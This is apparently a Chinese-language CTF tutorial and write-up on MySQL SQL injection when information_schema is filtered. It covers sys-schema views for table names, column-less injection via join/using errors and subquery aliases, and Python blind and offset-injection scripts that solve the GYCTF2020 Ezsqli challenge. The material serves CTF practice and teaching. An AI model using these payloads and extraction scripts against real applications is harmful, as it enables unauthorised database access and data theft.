从information被ban到无列名注入
正常来说我们的查询都是基于information_schema的数据库的三个表(schemata,tables,columns),那么好,作为防御方来说是不是把information直接给ban了是不是就特别nice!那么没了information我们又该如何sql注入呢?
Mysql5.7的新特性(表名和部分列名)
在mysql在5.7版本中新增了sys.schema,基础数据来自于 performance_schema 和 information_schema 两个库,本身数据库不存储数据。
对于有自增列的表名和列名
利用这个视图,sys.schema_auto_increament_columns
select table_name,column_name from sys.schema_auto_increment_columns where
table_schema = "test";
但是它只能爆出有自增列的表名和列名,所以得到的数据有限!
可以看到只爆出了一个表,这个表里面只有id这个字段是自增的!
无自增列字段的表名
那么无自增字段的呢?
利用这三个视图(有鸡肋这三个因为是基于Performance Schema这个表,
收集数据库在运行时(Runtime)发生的各种事件,也就是说如果没怎么使用的表是查不到的)
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
sys.schema_table_statisticsys.x$schema_flattened_keys
这个厉害数据来自information_schema(静态结构)
select table_name from sys.schema_table_statistics_with_buffer where table_schema = "test";
select table_name from sys.schema_table_statistics where table_schema = "test";
select table_name from sys.x$schema_table_statistics_with_buffer where table_schema = "test";
三个语句皆可!
无列名注入(爆字段
那么按照顺序接下来就是爆列名了,这里有两种方式,另一种是直接绕过列名!
join 配合 using
join这玩意之前在内外连接中见过!
我先说这种方法的原理吧。通过内连接创造一个重复列名的表,如果对其进行select从而整出报错
创建
这里内连接没有on限定条件的化就会退化成笛卡尔集
报错
第一列:select*from (select * from course as a join course as b)as c;
二:select*from (select * from course as a join course as b using(id))as c;
USING(id) 的意思是:使用两个表中都存在的同名列 id 作为连接条件。
第二列
......
子查询
这个可以说是真正意义上的无列名注数据
只有当子查询被用作 FROM 子句中的数据源时,才必须要有别名。
子查询我爱了,就是给列名起别名,即使不知道也可以!然后来查询!
怎么起别名?将原来的三个列名分别起了别名1,2,3
利用这三个别名来查数据!
利用子语句(就是嵌套)
select group_concat(`3`) from (select 1,2,3 union select*from friend) as a;
select group_concat(c) from (select 1,2,3 as c union select*from friend) as a;
perfect!全部成功!
demo(无列名偏移注入
from [GYCTF2020]Ezsqli
正常操作,这题被过滤了贼多东西!information用不了union啥的都用不了,但是基于页面的回显,我发现可以盲注!
poc:1/(ascii(substr((select database()),1,1))>0)#
1||(ascii(substr((select database()),1,1))>0)#
关键是表名这里就用前面提到的就好了(sys.x$schema_flattened_keys)
import requestsurl = "http://34f78ad5-a3f7-4a66-8af8-068f38fe4406.node5.buuoj.cn:81/index.php"
flag = ''
j = 0
while True:j += 1head = 32tail = 126while head < tail:mid = (head + tail) >> 1payload = {'id': f"0||(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema = database()),{j},1))>{mid})-- -"}#payload = {'id': f"0||(ascii(substr((select group_concat(flag) from f1ag_1s_h3r3_hhhhh),{j},1))>{mid})-- -"}res = requests.post(url, data=payload)if "Nu1L" in res.text:head = mid+1else:tail = midflag += chr(head)print(flag)if head == 32:breakprint(flag)
虽然不知道列名但是直接猜是flag!因为上面提到的无列名注入都用不了,union被ban了!
所以这里重头戏就是无列名偏移注入
这里重要的就是判断字段数了,题目两个字段查出来了
import requestsurl = "http://34f78ad5-a3f7-4a66-8af8-068f38fe4406.node5.buuoj.cn:81/index.php"
flag = ""
i = 0while i < 90:i += 1low = 32high = 127while low < high:s = flag # 动态更新flag,一个一个摸索值mid = (low + high) // 2s += chr(mid)payload = f"1&&((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"data = {'id': {payload}}r = requests.post(url=url, data=data)if "Nu1L" in r.text:low = mid + 1else:high = midflag += chr(low-1)print(flag.lower())
参考
https://blog.csdn.net/weixin_49656607/article/details/119988304?fromshare=blogdetail&sharetype=blogdetail&sharerId=119988304&sharerefer=PC&sharesource=2403_88003384&sharefrom=from_link
(13 封私信 / 52 条消息) CTF|mysql之无列名注入 - 知乎
[GYCTF2020]Ezsqli 无列名 偏移注入 - 《SQL 注入》 - 极客文档